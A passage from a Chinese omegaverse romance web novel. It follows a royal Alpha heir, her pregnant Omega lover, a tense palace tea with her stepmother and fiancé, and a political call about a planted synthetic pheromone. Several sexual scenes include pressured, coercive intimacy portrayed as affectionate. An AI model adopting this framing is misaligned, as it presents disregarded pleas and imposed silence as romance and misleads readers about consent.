他能感觉到她松开唇舌,牵起一丝涎水,应该是饱足了。 可在他徐徐感到解脱、松开双手的瞬间,她的刀锋却冷不防地突进,不听话地卡在危险的关口,令他两眼发晕的同时,惊出他一身冷汗。 “你还没够吗?” 少年睫羽忽闪,几乎要为自己垂泪。 江意衡却用鼻尖在他颈间磨了磨。 而她的身体,朝着相反的方向同步动了动。 她固然心里觉得满足,但身体实在胀得厉害。 她不是没有克制过,只是她本能想要寻求能够完全接纳她的存在。 他过去可以,他现在为什么不可以。 她并没有意识到自己的所作所为,对简星沉而言是怎样的恐惧。 “就算你不考虑我,你也应该,考虑一下她。” 少年大气不敢出,拉过她的手,挪到自己的腹部。 他微微屏息,克制情绪,努力让她去感受片刻宁静。 Omega的腹部因为拥有了新的生命,暖得像火炉一样,烤得她手心很舒服。 足足过了半分钟,她才不满地叹了口气。 “那好,我会小心。” 危险即将随着她的撤出而解除时,江意衡却不甘心似的,死死将他抱住。 好像蜂蝶撞入花蜜,她在空气中溅开一缕不容忽视的气息。 感到落在腿上的微热,简星沉惊魂未定地注视着面前的人。 而她正抬起眼,面上余着不知饱足的微醺。 “你这人,怎么这么恶劣!” “我已经很小心了,又没有弄进去。” 江意衡的手覆在他微隆的小腹上,轻轻拍了拍。 隔着肚皮,简星沉几乎瞬间感到孩子在兴奋地踢动。 他瞪着江意衡,她却无辜地对他眨了眨眼:“怎么了?孩子好像很喜欢啊。” 少年涨红了脸:“你……” “我怎么了?” 她就着他的锁骨蹭了蹭,“你喂我,我也喂你,这不是很公平?” * 晚十一点,陆怀峰在科技署,第一时间取得江意衡所需的专用抑制剂。 距离她出现易感期症状已经过去五小时,应急抑制剂的效用恐怕早已耗尽。 但至少,在她准备好的密室里,她可以借助那些熟悉的物事,挺过最为躁动的时刻。 只要他尽快送去这管抑制剂,危机便能解除。 抱着忐忑心情,陆怀峰匆匆赶赴江意衡的那座私宅。 他抬手,通过腕上的光脑终端,接入密室大门的安防系统,开启对讲通路。 “殿下,是我。专用抑制剂已经就绪,您现在怎么样?” 这道话音藉由通讯线路,在门的另一侧清晰响起。 几乎是听到声音的瞬间,简星沉奋力掰开江意衡揽住他的臂膀,拍着她的后背催促她:“是陆队长。快起来!” 江意衡只当没听见,手指揪了揪他腿上的软肉,满脸惬意。 “你怎么还有心情装睡。如果他闯进来,看到我们这样,你都不会觉得羞耻吗?” “羞耻?” 江意衡嗤了一声,“你可能不知道,帝国有一项传统,是在王室成员新婚时,召集众人共同见证新婚夜的发生,以确保婚姻合法,子嗣来源可考。” 简星沉被她说得一愣一愣。 本以为她的易感期症状有所消退,可她说出的话,却让他怀疑她疯了。 “怎么可能。” 他肉眼可见地慌了,“我,我可不是你的王夫。” 江意衡抿着唇,微眯着眼想了想。 “不是王夫,至少也算是情夫吧?” 她抬指勾着他的下巴,“你不觉得,我们这样,很像是地下私会吗?” 少年板着一张巴掌大的脸,恨恨撇开目光:“你不应门,我不陪你闹。” 他起身钻出她的怀抱,小心翼翼用睡裙遮住膝盖,同时也将身上残余痕迹掩住。 又捡起地上的挂帘,像个袍子那样罩在身上。 江意衡不动声色打量了他一眼,垂眸向腕上终端看去。 他的安抚之法对她效果出乎意料地好用,她的信息素水平已经显著下降。 虽然还没落回安全水平,但如果要保障他和孩子的安全,她也不便继续在他身上耕耘。 如今只缺一针适配的抑制剂,一切就结束了。 江意衡撑着手臂起身,视线扫过房间。 她从前觉得这怀旧的小房间里,孤独大于清静。 可如今闻着满室茉莉香,还有属于她的腥膻气息,过去十年来在这里独处捱过的那些时刻,忽然轻盈得化作羽毛,从她的意识里徐徐飘散。 她不紧不慢翻下三轮车,双脚落回地面,对着房间里的镜子,悠哉悠哉理过衣装。 “刚才说的王室新婚夜传统,是我骗你的。” 简星沉一抬头,就对上江意衡的脸。 她不知从哪里翻出一套姜黄色大衣,替代帘子罩在他肩头,又当着他的面俯身,直到视线与他齐平。 “这次,我可以放你一马。” 江意衡抬起手背拂过唇角,还伸出舌头舔了舔,那是她最喜欢的茉莉奶香味。 “如果你还想在我身边安心养胎,那我刚才抱着你做的那些事,你一个字也不准说出去。” 第48章 叫也叫不出声,睡也不能…… 第四十八章 江意衡不希望他把她在易感期的那些事说出去,简星沉不是不能理解。 何况,他这一路惊险刺激下来,身心堪比坐过山车。 他也不想让别人,知道刚才发生的这一切。 他裹好那件由江意衡罩在他身上的大衣,料子手感滑糯,纤维细腻,只是不像江意衡平常会穿着的风格。 视线中的Alpha,白衬衫搭黑长裤,干练简洁。 她应该是从王宫离开,就径直赶来这里,一身衣装本来正得发邪。 但现在,她的袖口随意卷起,领口从上往下松到第三颗钮扣,唇上还带着微微湿润。 他喜欢这样随意而又放松的江意衡。 安防系统同时得到江意衡与陆怀峰的两方授权,终于打开一条缝。 门外的近卫队长却只小心翼翼地维持一寸宽的门缝,伸手递来一管抑制剂。 江意衡又好气又好笑道:“陆队长,我的信息素水平已经回落。你不用像防贼这样防着我吧?” “殿下言重。属下不过是照顾殿下的颜面,守住殿下的隐私罢了。” 江意衡不以为然地笑了声,接过抑制剂。 她重新掩上门,回头对着躲在身后的人轻咬耳朵:“看来,你和我被锁在一起的事情,已经不再是我们两个人之间的秘密了。” * 房间里的所有痕迹,自然会有人上门清理。 但彼此身上的那些痕迹,就只能靠他们自己。 唯一的浴缸在楼上,去之前要先爬过楼梯。 江意衡看着少年从衣摆下露出的小腿和双脚,不由分说,将人打横抱起。 简星沉瞬间慌了神。 为了保持身体平衡,他不得不用双手勾住她的脖子,两只脚却不安地踢了踢:“陆队长还在呢。你放我下来,我自己能走。” 江意衡权当他在耳边吹风。 她抱着他一路踏上木楼梯,脚下甚至刻意用了些力,故意发出比平时更响的吱呀声,生怕在客厅避嫌的陆怀峰听不到似的。 到了二楼浴室门前,她才停住脚步,俯首靠近他:“你太轻了。我得把你养得再胖一点才行。” 老式浴室放水时声响巨大,仿佛全世界的水管都在墙体内震动。 简星沉褪下大衣,坐在浴缸边,转头看到江意衡从镜柜里提起一只黄色橡胶鸭,在指尖捏得呱唧作响。 她甚至举起小鸭子,特意问他:“怎么样,可爱吧?” 简星沉微微皱眉,手指在裙边捏了捏:“我已经十九岁,不需要这些小玩具了。” “我又没说是给你的。” 江意衡拿着小黄鸭靠近他的肚子,又捏出几声呱唧轻响,“我是给她的。” 她顺手关了水,把小黄鸭丢进水里,双手在他身侧的浴缸边上撑好,俯脸靠近他。 她的目光在他同样湿润的眼眸和唇瓣间晃了晃,最后落在他微张的唇齿间,脸上缓缓绽开笑意。 “这个,才是给你的。” * 近卫队的人虽然全天都在小屋四周巡逻,但巡逻的人员也会轮流值班。 而像陆怀峰今天这样,超长待机,站岗守到午夜之后,是很罕见的情况。 期间,他还依照江意衡发送到腕上终端的要求,去院子里切了一篮果香的月季花,送到浴室门口。 这屋里,大多数的门板和墙板都是木头。 他毫不费力,就能听到两个人在另一头嬉笑打闹的声音。 一道,是江意衡毫不掩饰的放声大笑。 另一道,是少年高亢中微微带着点哑的声音。 他放下花篮的时候,几乎愣了一下。 这座私宅虽然是王储殿下依照童年记忆重建的,但在陆怀峰的印象中,江意衡从未像眼下这样,在这座由记忆搭建的庇护所里,放肆开怀。 等到江意衡带着她的协议小情人,衣装体面地出现在客厅时,陆怀峰才微微清嗓,从窗前转身,向她鞠了个躬。 “殿下,现在已经凌晨两点,简先生也该休息了。需要属下护送您回到王宫吗?” 江意衡正揽着少年的肩头,手掌顺着他脑后的发丝抚了抚。 她撇嘴:“不用了。” “可今天是您周常与家人共进下午茶的日子。王后殿下期待见到您,您的弟弟也会在。” 他说着,声音放轻,似乎是有些忌讳被简星沉听到,“还有,我们的人已经确认,您的未婚夫现已恢复正常,让言家的人接回去了。” 听到“未婚夫”这三个字,原本安然伫在江意衡臂膀中的少年,微微纳闷地转头看她:“他怎么了?” 江意衡的指尖在少年肩头轻轻点了点,对他笑了笑:“没什么。” 她回过头,正视陆怀峰,眼里笑意一瞬间散去,只留下熟悉的冷意。 “连我父亲本人都缺席的家庭聚餐,好像没有去的必要吧?” 她扬起唇角,不以为然,目光落回少年面容上时,重又变得温和。 “替我转达我的继母。今天我有更重要的事,就不奉陪了。” * 简星沉已经有足足四个半月,没跟江意衡共享床榻了。 位于二楼的主卧,摆着一张小小的双人床。 但对于习惯了单人床的他而言,仍是相当宽敞。 头一个星期,他每晚都睡不习惯,背后空得发慌,频频夜间醒来,下意识地往身后摸去,却什么也摸不到。 每到那时,他就会摸着肚子,和孩子说几句悄悄话。 可今天,他的身后终于不再是空落落的了。 简星沉醒来一翻身,还没来得及跟江意衡道声安好,却看到她抱着他亲手缝的抱枕,还把鼻子埋进去,好像在认真闻着什么。 他愣了两秒,察觉到她抬起视线,才慌忙把头转回去,试图装睡。 “这么早就醒了?” 江意衡看在眼里,耐心地按了按他的肩膀。 他知道自己瞒不住,把手反搭在肩头,方便她顺手捏着他的手指。 “已经十二点了。我平常这个时候,都已经吃过午饭,在院子里照顾那些花了。” “那今天给自己放个假吧。” 她俯首在他肩上轻轻咬了一口,“你只需要照顾我就行了。我今天,也给自己放假。” 说到放假,简星沉就委屈。 如果做王储的小情人是一份工作,他昨天,可是结结实实加班到天亮。 过去的后半夜,他不止要安抚肚子里兴奋难眠的孩子,还得用自己,去安抚一个明明打过抑制剂、却还是对他兴致勃勃的Alpha。 他甚至怀疑,陆队长送来的到底是抑制剂,还是某种延迟兴奋剂。 江意衡的力气很大,他早就知道。 但他没想过,她能全程抱着他的身体,只偶尔让他背靠着墙,或是窗。 大多时候,她干脆托着他走来走去,将震荡一路传入深处。 她也怕他累着,特意咬开一袋调配好的高级营养液,口对口地直接喂给他。 到后来,他是叫也叫不出声音,睡也不能睡。 他只能求饶,还委屈地念出协议原文,着重“合理范围”那几个字的时候,她却猝不及防地张开唇齿,含住他的喉咙。 她还低声告诉他,这是为他好。 帝国研究早已表明信息素交融对Omega和孩子的双重益处,他也该忘记眼前的辛劳,把目光放远一点。 如今一觉醒来,那些碎片重新涌到眼前。 简星沉晃了晃脑袋,扁着嘴,声音委屈得很:“还说放假,我可是照顾了你一整晚。我今天,不想再照顾你了。” “你今天不用照顾我,只需要回答我一个问题。” 江意衡把抱枕举到他面前晃了晃,“这个闻起来有你的味道。能送给我吗?” 少年回过身,看着她眼角弯起的笑意,恍惚了片刻。 那些关于他的味道,大部分来自眼泪。 可除此之外,抱枕的所有一切,都是关于江意衡的。 他不知道她还记不记得,易感期爆发时,他对她坦白过的那些心里话。 只是看着她起身下床,背过他穿好衣服,他才终于从一整夜的荒唐中回过神来。 江意衡始终是江意衡。 她会说动听的话,会把气味留在他的身上,但她也禁锢着他。 他不知道,未来她还会不会从他这里,拿走其他东西。 简星沉抿了抿唇,起身下床。 拉开窗帘,阳光尽情洒落在院中。 他看到他之前晾起的衣服在轻风中晃呀晃。 “真的,不用去见你的家人吗?” 江意衡刚扣好衣扣,就听到这句话。 她回身时,少年正伫在明亮的窗前,一只手扶着窗帘,不知道在打量什么。 “怎么突然问这个?” 她笑了笑,“我不是说,今天不去……” 话音未落,腕上终端弹出一条提示。 江意衡接通陆怀峰的通讯请求,微微不悦道:“我记得,我好像也给你放了假吧,陆队长?如果你又想向我通报任何关于我的谣言,可以等明天再说。” “殿下,这次,恐怕不能等。” 陆怀峰向来是个沉稳可靠的人。 他分明已经克制了语气,但话里透出的严肃和迫切,仍是没有逃过江意衡的耳朵。 “还有什么谣言能让你担心成这样?” 江意衡忽然来了兴趣,“说来听听。” * 王室花苑内。 矮桌上铺着白色桌布,饰有蕾丝的边缘在风中轻轻摆动。 桌边放了四把椅子,却只坐了两个人。 “意衡今天,似乎不会来了。” 黎书宛端起茶杯,视线看向对面的人,“辛苦你,均和。今天是,昨天也是。” 言均和低头微笑着,从手边小花瓶里,扶住一朵鲜花:“这本来就是我身为王储未婚夫,应该尽到的职责。” “你们虽说已经订了婚,也登了报,但原本也得等到婚礼之后。” 黎书宛抿了一口茶,轻轻摇头,“我之前,总担心她会冷落你。既然她愿意帮你解围,那说明,她还是重视你的。只是,这恐怕会影响你的名声。” “能够嫁入王室,与殿下成为一家人,对我而言,是与芭蕾一样举足轻重之事。” 说话时,言均和伸指拂过花瓣,指尖轻掐出一道痕。 他能闻到花香留在指尖,是与自身信息素一样浓烈的香气,神情却不易察觉地微微一顿。 “只要殿下心里有我,那这些闲言碎语,都不重要。” 黎书宛默默点头:“你能想通也好。谣言的事,你不用太担心。至于意衡,等我见到她,会和她好好谈谈。” 话音刚落,不远处却传来一声清晰的话音。 “谈什么?” 黎书宛抬眼,正望见影影绰绰的花丛后方,原本缺席的人恰好登场。 “不是说不来,怎么又来了? 江意衡人未到近前,冷笑声却已先到:“我要是再不来,关于我的谣言,恐怕要闹得帝国上下人尽皆知了。” 她绕过开满鲜花的灌木丛,身边另一人赫然映入黎书宛的视野。 那是个有些腼腆的少年,穿着素净,视线落在青翠草地上,却不敢抬眼看任何人。 黎书宛微微眯眼:“这是我们一家人的下午茶,你怎么带了外人?” “外人?”江意衡嗤之以鼻。 她牵着简星沉一路走到矮桌前,堪堪止住步履:“那也总比我这位不知轻重的未婚夫,来得更像家人。” 说着,她看向端坐在椅子上的言均和,眼底露出一点锋锐笑意:“毕竟,什么样的家人,会公然对外捏造自己的黄谣?” 第49章 孩子可以留,大人你得想…… 言均和没有回应江意衡的指控。 先出声的,反而是她的继母,如今的王后。 “均和可是你的未来王夫。” 黎书宛的指腹在茶杯边缘轻轻摩挲,抬眼时,目光落在江意衡牵着少年的那只手上,语气倒还是一贯的从容,“你怎么能这样当众数落你的未婚夫,还是当着其他男人的面?” “他自导自演的戏码,他自己心里最有数。” 江意衡的声音不高,每一个字却都带着压迫感,“我能克制住自己,不当面拆穿他,已经是顾及了彼此的颜面。但如果,他再做出任何像这样不知分寸的事,违背当初的书面约定,那我宁可当作从未有过这场婚约。” 言均和微垂目光,指尖绕过鲜花的动作微微一顿。 他始终没有抬眼看她,更没有去看她身边的少年,自然也没注意到,简星沉如今是如何局促。 那只被江意衡牵住的手腕微僵,明明纤细得好像只要一用力就会被折断,却又固执异常。 他不止一次试图收回手,好像只要挣脱江意衡的桎梏,就能避开审视的目光。 显然,他并没有做好面对这种场面的的心理准备。 黎书宛将茶杯轻轻落回碟中,收回那道短暂打量的视线。 贵族之间的爱恨纠葛,她见得多了。 但如果涉及到一个平民,还是一个没有名分的平民,她的心境却忍不住掀起一丝微妙的涟漪。 “你也清楚,你与均和之间有正式协议的存在。协议的意义,不就是为了约束双方行事的界限吗?只要没有原则性错误,你又何必如此上纲上线。” 黎书宛说着,手指探向桌上那只三层蛋糕架,从最上层取下一块奶油小蛋糕,在眼前转了转。 “依照传统,王室下午茶的蛋糕架,从下往上依次摆放三明治作为主食,司康作为过渡,最后才是甜点。取食顺序,同样也是从下往上。” 她抬眼看着江意衡,语气平和,却带着一丝不动声色的反问,“偶尔一次先尝甜点当然没问题,但如果你每一次都越过三明治,直奔甜点,那你觉得,这儿还会欢迎你吗?” 黎书宛毕竟出身名门贵族,含沙射影的本事,与她本人端庄优雅的仪表一样,都是她自小习得、信手拈来的东西。 “你说均和捏造不实谣言,还说他不知分寸,我不清楚,也不关心。至少,你没有受到实质伤害。可我看得出,均和比你想象的要在乎。否则,他又怎么会冒着牺牲自己名声的风险,去引起你的注意?” 处处留分寸,处处维护他。 江意衡算是看出来了。 她的继母,早已选好立场。 黎书宛选择去偏袒那个同样出身贵族、完全符合体面定义的王储未婚夫。 那又有谁来偏袒她身边的人? 江意衡能感觉到,简星沉再次试图缩回手的动作。 她俯下视线,少年的手像没什么血色的素白瓷胚,易碎却又倔强。 她毫不犹豫,更加用力地将他手腕握紧,重新望向正悠然品尝蛋糕的继母。 江意衡不明白,一个人怎么可以像黎书宛这样,旁观闹剧发生,却依然保持胃口,面不改色地小口咀嚼点心。 “对您来说,只要不流血,就不算伤害?难道不流血,就可以继续忍耐下去?” 她几乎是瞪着黎书宛,“这么多年来,您也是靠着这种标准,让自己过得舒坦一些吗?” 从前,江意衡也曾经问过自己,黎书宛到底算不算是一个好母亲。 在公众面前,她无可挑剔。 与江御川的结合,曾是帝国最光鲜的联姻典范。 在昔日王室大婚的照片中,她高雅地挽着父亲的手臂,像一朵盛放的白玫瑰。 江意衡几乎能从那张照片上,看出自己与言均和一起出现在通稿上的影子。 黎书宛无疑是优秀的,她是优秀的妻子,也是优秀的贵族母亲。 她的儿子江昱澜,比中心区的任何孩子都温和有礼。 虽然江意衡很难抛开成见和平对待自己同父异母的弟弟,但她不得不承认,江昱澜确实被教得很好。 这一家人,如果除去自己这个叛逆的因素,恐怕堪称是所有贵族都会羡慕的样板。 可偏偏就是眼前这个完美无瑕的贵族女性,却在母亲短暂停留王宫的时日里,对帝国君王在外寻回的“情人”,流露出难以掩饰的错愕与警惕。 黎书宛当时看到母亲的表情,分明就与言均和之前看着简星沉的表情,如出一辙。 那是一种不可置信。 是对自己精心经营的画面,却被“外人”瞬间撕开的危机感。 他们都有他们想要守住的体面。 她也有她必须守住的港湾。 江意衡迟迟没能听到黎书宛的回答。 但那并不重要。 她早就不指望在这张餐桌上,得到任何答案。 江意衡几乎准备牵着少年离开时,却远远听到一声清脆的声音。 “姐姐!” 一道小小的身影像风一样飞快穿过草地,在她面前气喘吁吁地刹住脚步。 才九岁的江昱澜扶着膝盖抬头看她,脸颊因为奔跑红扑扑的,额前发丝微微沾湿:“你怎么现在才来?他们讲话好无聊,我不爱听,都跑去和小猫玩捉迷藏了!” 他掏出手绢随意擦了擦汗,一转眼,才注意到江意衡手边牵着的人。 原本还在叽叽喳喳的小少年忽然睁大眼睛,眼里放光:“哥哥,是你?” 桌边几人还未回过神,简星沉却抬起头,目光在男孩的脸上停留了两秒。 他怔了怔,几乎以为是自己看错。 “小澜?” 他迟疑着念出这个小名,既惊喜,又愈发不安。 江昱澜立刻用力点头,指着少年,回头对黎书宛嚷嚷:“妈妈,这就是我之前在医院碰到的好心哥哥!哥哥当时一个人住院,还愿意陪我玩,给我讲故事……” 他说到一半,兴奋地扑过去,抓住简星沉的另一只手,又低头看了看他被姐姐牵住的手,好像发现了什么一样,仰起脸大声问道:“哥哥和姐姐是一起来的吗?哥哥你来这里做什么?” 空气突兀地凝结了一瞬。 言均和的脸色肉眼可见地更沉了一分。 黎书宛则慢条斯理地放下余下半块小蛋糕,用餐巾缓缓拭去指尖残余的糖霜,一副波澜不惊的样子。 “你别打扰人家。” 她向江昱澜轻轻招手,语气却意味深长,“哥哥肚子里,可是有你姐姐的孩子。你要是吓到他,你姐姐是会对你生气的。” “这样啊。” 江昱澜不太理解自己怎么会吓到哥哥,但还是小心翼翼地松开手,两只手互相扣起,嘴巴努了努,好像做错事一样。 只是他没能收敛太久。 十秒钟后,他又像每个忘性极大的孩子那样,抬头眨巴着眼睛问简星沉:“哥哥怀了姐姐的孩子,那我们以后,是不是就是一家人了?” * 玻璃花房中,江意衡与黎书宛各自伫在一头。 隔着通透的玻璃墙,能看到江昱澜正拉着简星沉的手,兴致冲冲地带他在花苑中走动,还喋喋不休地对他介绍那些名贵的花卉。 “你这小情人,倒是出其不意。” 黎书宛端着小巧的茶杯,却并未再饮一口。 她的目光不疾不徐投向花苑,“他居然知道要从小孩子入手,突破王室家庭的防线。我还以为,他不过是一个从F区来,老实本分的平民。” 她转身,轻嗤一声:“你之前在F区大张旗鼓地投资建设,应该不止是为了促进什么地方发展吧?” 江意衡没有回答这个问题。 她只是望着少年的背影。 “你说不说,对我而言,没有什么区别。” 黎书宛摇了摇头,信手从一侧花架上拂过,“你和你父亲,还真是完美验证了血脉的一致性。面对盛放的花朵无动于衷,却偏偏会被角落里的野花牵动目光。” 她的指尖停在一串细小的白色铃铛花上方,没有触碰。 “野生铃兰的生命力极强,越是阴暗潮湿的角落,它越能扎根繁衍。表面柔弱清冷,其实全株都带毒。如果一不小心采食了它,轻则出现幻觉,重则会有失去生命的风险。” 黎书宛轻笑一声。 “我从来,都不喜欢那些徘徊在王室边缘的平民。当年是,现在也是。这些话,均和自己不愿意说,那我就帮他说了。” 她收回手,目光落在江意衡身上,“孩子可以留,大人你得想清楚。无论是黎家、言家,还是中心区的其他贵族,希望你在做出任何决定之前,都要衡量好相应的代价。” * 江意衡踏出玻璃花房时,刚好收到陆怀峰发来的新报告。 由她书房采集到的样本显示,空气中,确实检测出高浓度的合成Omega信息素残留。 这也能解释,为什么她的易感期会提前数日爆发。 “书房里的所有物件,包括空气,都已净化完毕。该保存的证据,也都已经留存妥当。属下建议您前往帝国医院进行全面检查,以排除高浓度合成信息素对您的任何潜在危害。” 陆怀峰的汇报仍是一贯的冷静与简练。 江意衡关闭报告,抱着手臂,徐徐深呼吸。 父亲已经昏迷不醒,再没人能像他当初那样,设计她的飞船失事。 可这并不代表她就彻底安全。 无论是那些红字威胁信,还是巡游途中精准恐袭。 无论是近卫队成员被人调包,还是这一次精心设计的信息素事故…… 每一步,都像是在试探她的底线。 他们不再试图击破她的盔甲,而是试图扼住她的软肋。 “你觉得,像言均和那样高傲的人,会愿意沾上一身自己都闻不到的合成信息素,特意栽赃于我?” 通讯另一端的人沉默片刻,旋即冷静回应:“属下无法给出定论。据他离开前被抽取的血样显示,他体内确实没有任何Alpha信息素,但谣言毕竟是他散发出去的,要说他完全不知情,属下当然无法苟同。” 江意衡毫不在意般哼了一声。 “算起来,距离我上次和言总理谈话,有多久了?” * 花苑中看似满目缤纷,内里,却远比F区贫民窟更加乌烟瘴气。 江意衡带着简星沉走向停机坪,背后仍传来江昱澜依依不舍的喊声:“哥哥下次记得还来找我玩!” 飞船舱门徐徐关闭,将那片景色隔绝在外。 江意衡在仪表盘前熟练操作时,身旁,却响起少年近乎小心翼翼的声音。 “你的妈妈,好像并不欢迎我。” 他的担心无法掩饰,“如果小星星在这样的环境长大,她会不会……也被人排挤?” 第50章 我哪里需要装可怜了?…… “有我在,谁敢欺负小星星?她是我的孩子,除了我,没人可以教训她。” 江意衡言辞笃定,像一针定心剂。 这对简星沉来说,比什么都有说服力。 他正为此松了口气,却见江意衡扭头笑了笑,“不过,我还是要纠正你。王后是昱澜的母亲,但不是我的母亲。” 她的母亲,早在父亲接她回王宫那年,就在父亲一手安排的飞船事故中,失去了性命。 “我知道,王后殿下不是生你的人。” 少年有些慌张地绕回她面前,双手晃了又晃,“可她对你,应该还是,有最基本的养育之恩吧?” 江意衡回首,目光放冷,落在他的面容上。 那一瞬间,简星沉发誓,自己在她的眼里瞥到了一种刀锋般的冷意。 但江意衡旋即收回视线,专心检查仪表盘。 简星沉忐忑不安地交扣十指,直愣愣地站在她身边,视线一会落在她的指尖,一会探向她的脸。 过了五分钟,江意衡才叹了口气,手掌在仪表盘边上拍了两下。 “言均和之前应该和你透露过,关于我的事吧?那你应该知道,我四岁那年被接回王宫,同年失去母亲。而黎姨那时候还没有孩子。 “幼儿园的亲子活动,小学时的家长会,再到后来初中文艺汇演,有一半以上的活动,是她出面的。只是昱澜出生之后,她不得不把更多时间分给他。” 回想这些,她几乎感到一丝荒唐,“大学前的那个暑假,我父亲忙于公务,是她牵着才三岁的昱澜,亲自送我到新生部。” 简星沉举高扣起的双手,把下巴轻轻枕在上面,声音极尽温和,生怕刺激到她:“你的亲生母亲不在的这些年,王后殿下也算是,尽到了至少一部分继母的责任吧?” 少年湿漉漉的眼缓缓眨动,在花苑里被风吹得微微打架的额发垂落下来,像一道温柔的帘。 江意衡却隔着他的刘海,伸手用力点了点他的额头:“王宫还真是个可怕的地方。你不过才来了一次,就学会帮外人求情,还装可怜了?” 他捂着头轻唤一声,见江意衡抬手作势还要往他额头戳,吓得连忙蹲在她脚边,抬起脸愤愤不平地仰视着她:“我,我哪里需要装可怜了。” 他揉了揉自己的额头,半天也不肯起来,最后索性抱着膝,就这么蹲在地上。 赌气的本事,也愈发娴熟了。 江意衡感到好笑地嗤了一声,垂眸看着少年几乎被刘海遮住的脸,啧了一声:“你有多久没理过发了?头发都这么长了。” 简星沉仍是抱着自己的膝盖,脸几乎埋进交叠的臂弯中。 江意衡开始担心,他是不是因为孕期情绪波动大,真的生起闷气,便俯身轻轻按了按他的肩膀,还放轻声音:“这就埋怨上了?” 他却默默地在臂弯里摇了摇头,像是没有勇气抬起脸对上她的一样。 “那为什么突然不说话,也不肯看我?” 她伸出手,几乎下意识地想要端起他的下巴时,少年却忽然抬起头,脸上还留着被膝盖压出的微微红印。 “你都还没告诉我,你是什么时候,把头发剪短了。” 简星沉的反问来得突然。 在过去的四个多月,她经历了震惊、心冷、愤怒……再到现在,开始试着听他说话。 江意衡没想过,他会在这种情况下,问起她当初剪发的初衷。 “那已经不重要了。” 她撇过脸,让心情徐徐恢复平静。 以为抓不住的,如今被她收在身边。 以为背弃她的,却将心意小心珍藏。 她不喜欢被情绪左右,眼下却几乎恍惚了片刻。 甚至,没有注意到少年何时伸出温软的手指,顺着她鬓边的短发轻轻拂动。 在思绪落定前,她的话语抢先脱口而出:“别以为你这样示好,我就会完全原谅你。” “那你千万别原谅我啊。” 简星沉缓缓露齿一笑,“理发师帮你剪得很好看。能带我去那里剪头发吗?” * 目视着陆怀峰护送少年抵达E区理发店后,江意衡随即关上飞船舱门,打开通讯回路。 “殿下今日突然找我,是有什么重要的事?” 言总理的声音一如既往地沉稳,似乎对近日才发生的事一无所知。 “您的儿子差点出事了,这应该不用我来特意提醒您吧?” “我不明白殿下的意思。均和现在一切安好,他出门去排练前,才刚插过花呢。花瓶里有他最近中意的水仙和百合,我夫人也很满意。” 江意衡根本没心情听他说这些无聊的家庭细节。 “您儿子的信息素,应该不是水仙,也不是百合吧?当初送来王室的那份身体检查报告上,总不至于造假。” “当然不是。信息素这样私密的东西,怎么能堂而皇之地端出来?这可是为了殿下才特意保留的。到了新婚夜,您可以自己体会一下。” “如果我说,我没这个兴趣呢?” 江意衡微微一顿,“从前没有,现在没有,未来也不会有。” “是因为殿下身边那个小情人吗?我可听说,他当初在徐悦斋干活的时候,自作主张,害得徐子悦被王室退了一大单。” 他语气轻松得,仿佛在与江意衡闲聊什么王室逸闻,“您别误会,我没有故意打听什么,只是均和去挑花材的时候,无意中撞上人家,随意聊了几句。” “好一个随意。那我们不如随意讨论一下,您儿子失常的举动好了。” 江意衡切回正题,“您也知道,我与您的儿子,不过是贵族最擅长的那种协议婚约。他像您一样,是一个目标明确的人,但他的目标是芭蕾,而不在这些乌烟瘴气的贵族权术上。” 在言敬玄的片刻沉默中,她发出轻笑,“像他那样自律有追求的舞者,连发情期都严格抑制,怎么会允许身上沾满连他自己都闻不到的特异性合成信息素,还刚好出现在我面前?” “均和当然不会主动做出这种事。毕竟,谁一开始不是满怀憧憬和理想,谁一开始不是目标明确,为之前行呢。” 言敬玄表现得俨然像个理想斗士那样,语气昂扬,“可殿下不是应该比任何人都清楚,人是会变的吗?” 江意衡几乎笑出声:“我应该说我相信吗?” “现任王后当年嫁入王室的时候,也不过是像每一个贵族女孩一样,希望有一段门当户对、平静安详的婚姻。诚然,陛下年轻时英姿飒爽,并不缺少艳羡或仰慕的目光。要对陛下动心,对王后殿下来说,是很自然的事。 “可是您的生母向王室求援那天,她第一次知道丈夫居然有一个私生女,那些表面上的甜言蜜语,不过是维持体面的工具。言某记得,当年提议流放您母亲的提案,她也签了名,只是您母亲的事故来得突然。” 言敬玄意味深长道:“王后对您,恐怕是既愧疚,又提防吧?” “我还以为,那是我父亲一人去母留子的决定。” “我可以理解,殿下为什么会对陛下心生怨忿。但陛下又不是像您这样随心所欲的人。坐在他那样的位置上,要平衡那么多利益,他不过是做出了对所有人而言,最为妥帖的选择罢了。” “信口开河。” 江意衡最讨厌有人打着权衡的旗号,掩盖一己私欲,“他已经醒不了了,您再怎么替他申辩,也改变不了他害死我母亲的事实。那谁来替我无辜的母亲考虑?贵族的游戏,为什么总要牵扯平民当牺牲品?” “殿下自己不是应该最清楚吗?” 言敬玄似乎是喝了一口茶,还缓缓啧了啧嘴。 “您之所以今天能有底气,和言某在这里唇枪舌剑,还得感谢您身上那一半的贵族血脉。不止如此,您四岁起就被按照贵族的方式培养。说来真巧,您甚至像陛下那样,在外面给自己找了个小情人。” “我知道您想激怒我。” 江意衡固然对这些话语感到愤怒,但愤怒归愤怒,她不会因此就脱了靶,“可惜,一个人无法改变出身,更无法逆转成长经历。如今的江意衡,是由所有这些缔造的。我无法改变过去,您也不行。” 在掐断通讯前的最后五秒钟,她近乎宣誓般,一字一顿念出这句话:“但我,绝不会重蹈父亲的覆辙。” * 简星沉刚在理发店里洗过头,头上裹着干发巾,来到中间那把理发椅上坐下。 空气中弥漫着一股清香淡雅的气息。 出于对花艺的敏锐嗅觉,他环视了一圈,很快在不远处的窗台上,看到一瓶形似白色铃铛的小花。 是铃兰。 那香气,既有茉莉的清雅,又带着一点玫瑰的馨甜。 少年好奇地眨巴眼睛,打量铃兰花时,一双修长匀称的手掀起一条干净的白色尼龙围布,围绕他的脖子缓缓罩住。 “您是第一次来秀丽美发沙龙吗?” 这声音与刚才帮他洗头的人,并不是同一道。 简星沉以为店里就是这样分工明确,没多想,自然而然点头。 “您看着也不像本地人。这里在E区也算很偏了,您是怎么知道这家店的?” “我是,有人推荐来的。” 少年如实回答,下意识地想要回头查看。 那双手却温和地扶正他的脑袋:“等会开剪了,您可千万别乱动。我怕自己一不小心,会帮您剪坏发型。到时候,您的恋人恐怕不会高兴。” “恋人?” 简星沉微微发懵,“您怎么知道的,我好像没提过……” “是一种直觉吧。您刚坐下的时候,手掌下意识地摸着腹部,神情看起来也很期待。您应该很喜欢她和她的孩子吧?” 简星沉没想到,自己的心思,连一个外人都能三两句戳破。 他有些难为情地笑了笑:“这么明显吗。” “嗯。” 理发师将双手按在椅背上,微微弯腰,一张令他觉得隐约熟悉的面容出现在镜中。 